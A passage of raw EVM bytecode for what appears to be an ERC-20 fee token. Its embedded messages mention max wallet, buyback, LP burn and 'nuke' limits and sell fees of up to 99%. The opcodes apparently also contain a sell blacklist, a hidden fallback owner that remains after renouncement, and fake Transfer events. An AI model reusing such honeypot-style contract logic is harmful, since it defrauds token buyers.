04803603810190610fdb9190614387565b612445565b005b348015610fee57600080fd5b50610ff7612579565b604051611004919061443d565b60405180910390f35b34801561101957600080fd5b5061102261257f565b60405161102f919061443d565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a9190614458565b612585565b60405161106c919061436c565b60405180910390f35b60606006805461108490614848565b80601f01602080910402602001604051908101604052809291908181526020018280546110b090614848565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612880565b8484612888565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b61117b612a51565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a51565b633b9aca006103e8600161126d611169565b61127791906148a8565b6112819190614931565b61128b9190614931565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149d4565b60405180910390fd5b633b9aca00816112dd91906148a8565b600c8190555050565b60006112f3848484612acf565b6113b4846112ff612880565b6113af85604051806060016040528060288152602001615a3b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f39092919063ffffffff16565b612888565b600190509392505050565b6113c7612a51565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a09565b6040518363ffffffff1660e01b81526004016114b4929190614a36565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a09565b905060005b848490508110156115a45784848281811061151857611517614a5f565b5b905060200201602081019061152d9190614387565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611589919061443d565b60405180910390a3808061159c90614a8e565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900460ff1681565b60006116e5611649612880565b846116e0856003600061165a612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282290919063ffffffff16565b612888565b6001905092915050565b6116f7612a51565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611821612a51565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118e7612a51565b61025883101561192c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192390614b48565b60405180910390fd5b6103e8821115801561193f575060008210155b61197e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197590614bda565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b60006119b5612a51565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6119df612a51565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611a6e612a51565b8260198190555081601a8190555080601b81905550601b54601a54601954611a969190614bfa565b611aa09190614bfa565b60188190555060196018541115611aec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae390614c7a565b60405180910390fd5b505050565b611af9612a51565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611bbb612a51565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611be790614848565b80601f0160208091040260200160405190810160405280929190818152602001828054611c1390614848565b8015611c605780601f10611c3557610100808354040283529160200191611c60565b820191906000526020600020905b815481529060010190602001808311611c4357829003601f168201915b5050505050905090565b601b5481565b611c78612a51565b611c828282613657565b5050565b60115481565b60225481565b601f5481565b611ca0612a51565b611caa8282611e9a565b5050565b6000611d71611cbb612880565b84611d6c85604051806060016040528060258152602001615a636025913960036000611ce5612880565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f39092919063ffffffff16565b612888565b6001905092915050565b60155481565b6000611d95611d8e612880565b8484612acf565b6001905092915050565b611da7612a51565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ea2612a51565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611f99612a51565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051612036919061436c565b60405180910390a25050565b61204a612a51565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120729190614bfa565b61207c9190614bfa565b601c819055506063601c5411156120c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bf90614ce6565b60405180910390fd5b505050565b6120d5612a51565b633b9aca006103e860056120e7611169565b6120f191906148a8565b6120fb9190614931565b6121059190614931565b811015612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90614d78565b60405180910390fd5b633b9aca008161215791906148a8565b600b8190555050565b612168612a51565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d6600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119d7565b50565b602460009054906101000a900460ff1681565b600c5481565b60006121fc612a51565b620186a0600161220a611169565b61221491906148a8565b61221e9190614931565b821015612260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225790614e0a565b60405180910390fd5b6103e8600a61226d611169565b61227791906148a8565b6122819190614931565b8211156122c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ba90614e9c565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6000612370612a51565b6000602460006101000a81548160ff0219169083151502179055506001905090565b61239a612a51565b60005b838390508110156124395781601760008686858181106123c0576123bf614a5f565b5b90506020020160208101906123d59190614387565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061243190614a8e565b91505061239d565b50505050565b601a5481565b61244d612a51565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614f2e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b600061258f612a51565b60105460115461259f9190614bfa565b42116125e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d790614f9a565b60405180910390fd5b6103e8821115612625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261c9061502c565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268991906145ac565b602060405180830381865afa1580156126a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ca9190615061565b905060006126f56127106126e7868561382290919063ffffffff16565b61389c90919063ffffffff16565b905060008111156127305761272f600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138e6565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127fe57600080fd5b505af1158015612812573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128319190614bfa565b905083811015612876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286d906150da565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ee9061516c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295d906151fe565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a44919061443d565b60405180910390a3505050565b612a59612880565b73ffffffffffffffffffffffffffffffffffffffff16612a77613b7d565b73ffffffffffffffffffffffffffffffffffffffff1614612acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac49061526a565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b35906152fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612bad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba49061538e565b60405180910390fd5b60008103612bc657612bc1838360006138e6565b6135ee565b601660009054906101000a900460ff16156131dd5761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c4c5750612c1c611b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c855750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cc45750612c94611b5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612cdd5750600a60149054906101000a900460ff16155b156131dc57601660019054906101000a900460ff16612dd757602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d975750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dcd906153fa565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa157612df4611b5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e7b57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612ed55750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa05743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f52906154b2565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309457600c54811115613037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161302e90615544565b60405180910390fd5b600b54613043836117d0565b8261304e9190614bfa565b111561308f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613086906155b0565b60405180910390fd5b6131db565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661312f57600c5481111561312a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312190615642565b60405180910390fd5b6131da565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131d957600b5461318c836117d0565b826131979190614bfa565b11156131d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131cf906155b0565b60405180910390fd5b5b5b5b5b5b60006131e8306117d0565b90506000600d54821015905080801561320d5750601660029054906101000a900460ff165b80156132265750600a60149054906101000a900460ff16155b801561327c5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d25750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613316576001600a60146101000a81548160ff0219169083151502179055506132fa613b91565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff1615801561333f5750601360009054906101000a900460ff165b1561334f5761334d85613d19565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806134055750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561340f57600090505b600081156135de576000601c5411156134ea5761344a606461343c601c548861382290919063ffffffff16565b61389c90919063ffffffff16565b9050601c54601e548261345d91906148a8565b6134679190614931565b602160008282546134789190614bfa565b92505081905550601c54601f548261349091906148a8565b61349a9190614931565b602260008282546134ab9190614bfa565b92505081905550601c54601d54826134c391906148a8565b6134cd9190614931565b602060008282546134de9190614bfa565b925050819055506135ba565b600060185411156135b95761351d606461350f6018548861382290919063ffffffff16565b61389c90919063ffffffff16565b9050601854601a548261353091906148a8565b61353a9190614931565b6021600082825461354b9190614bfa565b92505081905550601854601b548261356391906148a8565b61356d9190614931565b6022600082825461357e9190614bfa565b925050819055506018546019548261359691906148a8565b6135a09190614931565b602060008282546135b19190614bfa565b925050819055505b5b60008111156135cf576135ce8730836138e6565b5b80856135db9190615662565b94505b6135e98787876138e6565b505050505b505050565b600083831115829061363b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136329190614251565b60405180910390fd5b506000838561364a9190615662565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136bd90615708565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561374d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137449061579a565b60405180910390fd5b8160045461375b9190615662565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b09190615662565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051613815919061443d565b60405180910390a3505050565b60008083036138345760009050613896565b6000828461384291906148a8565b90508284826138519190614931565b14613891576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138889061582c565b60405180910390fd5b809150505b92915050565b60006138de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613dd7565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161394c906152fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036139c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139bb9061538e565b60405180910390fd5b6139cf838383613e3a565b613a3b81604051806060016040528060268152602001615a1560269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f39092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ad081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282290919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613b70919061443d565b60405180910390a3505050565b600080613b88613e3f565b90508091505090565b6000613b9c306117d0565b90506000602254602054602154613bb39190614bfa565b613bbd9190614bfa565b9050600080831480613bcf5750600082145b15613bdc57505050613d17565b6014600d54613beb91906148a8565b831115613c04576014600d54613c0191906148a8565b92505b600060028360215486613c1791906148a8565b613c219190614931565b613c2b9190614931565b90506000613c428286613ee390919063ffffffff16565b90506000479050613c5282613f2d565b6000613c678247613ee390919063ffffffff16565b9050600060218190555060006020819055506000602281905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613cc79061587d565b60006040518083038185875af1925050503d8060008114613d04576040519150601f19603f3d011682016040523d82523d6000602084013e613d09565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613d5591906145ac565b602060405180830381865afa158015613d72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d969190615061565b90506000613daf6012548361282290919063ffffffff16565b9050613dba8461416a565b613dcc5760008114613dcb57600080fd5b5b600192505050919050565b60008083118290613e1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613e159190614251565b60405180910390fd5b5060008385613e2d9190614931565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613eba5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613ede565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613f2583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506135f3565b905092915050565b6000600267ffffffffffffffff811115613f4a57613f49615892565b5b604051908082528060200260200182016040528015613f785781602001602082028036833780820191505090505b5090503081600081518110613f9057613f8f614a5f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015614035573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140599190614a09565b8160018151811061406d5761406c614a5f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140d2307f000000000000000000000000000000000000000000000000000000000000000084612888565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016141349594939291906159ba565b600060405180830381600087803b15801561414e57600080fd5b505af1158015614162573d6000803e3d6000fd5b505050505050565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156141fb5780820151818401526020810190506141e0565b60008484015250505050565b6000601f19601f8301169050919050565b6000614223826141c1565b61422d81856141cc565b935061423d8185602086016141dd565b61424681614207565b840191505092915050565b6000602082019050818103600083015261426b8184614218565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006142a88261427d565b9050919050565b6142b88161429d565b81146142c357600080fd5b50565b6000813590506142d5816142af565b92915050565b6000819050919050565b6142ee816142db565b81146142f957600080fd5b50565b60008135905061430b816142e5565b92915050565b6000806040838503121561432857614327614273565b5b6000614336858286016142c6565b9250506020614347858286016142fc565b9150509250929050565b60008115159050919050565b61436681614351565b82525050565b6000602082019050614381600083018461435d565b92915050565b60006020828403121561439d5761439c614273565b5b60006143ab848285016142c6565b91505092915050565b6000819050919050565b60006143d96143d46143cf8461427d565b6143b4565b61427d565b9050919050565b60006143eb826143be565b9050919050565b60006143fd826143e0565b9050919050565b61440d816143f2565b82525050565b60006020820190506144286000830184614404565b92915050565b614437816142db565b82525050565b6000602082019050614452600083018461442e565b92915050565b60006020828403121561446e5761446d614273565b5b600061447c848285016142fc565b91505092915050565b60008060006060848603121561449e5761449d614273565b5b60006144ac868287016142c6565b93505060206144bd868287016142c6565b92505060406144ce868287016142fc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126144fd576144fc6144d8565b5b8235905067ffffffffffffffff81111561451a576145196144dd565b5b602083019150836020820283011115614536576145356144e2565b5b9250929050565b60008060006040848603121561455657614555614273565b5b600084013567ffffffffffffffff81111561457457614573614278565b5b614580868287016144e7565b93509350506020614593868287016142fc565b9150509250925092565b6145a68161429d565b82525050565b60006020820190506145c1600083018461459d565b92915050565b600060ff82169050919050565b6145dd816145c7565b82525050565b60006020820190506145f860008301846145d4565b92915050565b61460781614351565b811461461257600080fd5b50565b600081359050614624816145fe565b92915050565b60008060006060848603121561464357614642614273565b5b6000614651868287016142fc565b9350506020614662868287016142fc565b925050604061467386828701614615565b9150509250925092565b6000806040838503121561469457614693614273565b5b60006146a2858286016142c6565b92505060206146b385828601614615565b9150509250929050565b6000806000606084860312156146d6576146d5614273565b5b60006146e4868287016142fc565b93505060206146f5868287016142fc565b9250506040614706868287016142fc565b9150509250925092565b600061471b826143e0565b9050919050565b61472b81614710565b82525050565b60006020820190506147466000830184614722565b92915050565b60006020828403121561476257614761614273565b5b600061477084828501614615565b91505092915050565b600080604083850312156147905761478f614273565b5b600061479e858286016142c6565b92505060206147af858286016142c6565b9150509250929050565b6000806000604084860312156147d2576147d1614273565b5b600084013567ffffffffffffffff8111156147f0576147ef614278565b5b6147fc868287016144e7565b9350935050602061480f86828701614615565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061486057607f821691505b60208210810361487357614872614819565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006148b3826142db565b91506148be836142db565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156148f7576148f6614879565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061493c826142db565b9150614947836142db565b92508261495757614956614902565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b60006149be602f836141cc565b91506149c982614962565b604082019050919050565b600060208201905081810360008301526149ed816149b1565b9050919050565b600081519050614a03816142af565b92915050565b600060208284031215614a1f57614a1e614273565b5b6000614a2d848285016149f4565b91505092915050565b6000604082019050614a4b600083018561459d565b614a58602083018461459d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000614a99826142db565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203614acb57614aca614879565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b6000614b326033836141cc565b9150614b3d82614ad6565b604082019050919050565b60006020820190508181036000830152614b6181614b25565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b6000614bc46030836141cc565b9150614bcf82614b68565b604082019050919050565b60006020820190508181036000830152614bf381614bb7565b9050919050565b6000614c05826142db565b9150614c10836142db565b9250828201905080821115614c2857614c27614879565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b6000614c64601d836141cc565b9150614c6f82614c2e565b602082019050919050565b60006020820190508181036000830152614c9381614c57565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000614cd0601d836141cc565b9150614cdb82614c9a565b602082019050919050565b60006020820190508181036000830152614cff81614cc3565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000614d626024836141cc565b9150614d6d82614d06565b604082019050919050565b60006020820190508181036000830152614d9181614d55565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614df46035836141cc565b9150614dff82614d98565b604082019050919050565b60006020820190508181036000830152614e2381614de7565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614e866032836141cc565b9150614e9182614e2a565b604082019050919050565b60006020820190508181036000830152614eb581614e79565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614f186026836141cc565b9150614f2382614ebc565b604082019050919050565b60006020820190508181036000830152614f4781614f0b565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614f846020836141cc565b9150614f8f82614f4e565b602082019050919050565b60006020820190508181036000830152614fb381614f77565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000615016602a836141cc565b915061502182614fba565b604082019050919050565b6000602082019050818103600083015261504581615009565b9050919050565b60008151905061505b816142e5565b92915050565b60006020828403121561507757615076614273565b5b60006150858482850161504c565b91505092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006150c4601b836141cc565b91506150cf8261508e565b602082019050919050565b600060208201905081810360008301526150f3816150b7565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006151566024836141cc565b9150615161826150fa565b604082019050919050565b6000602082019050818103600083015261518581615149565b90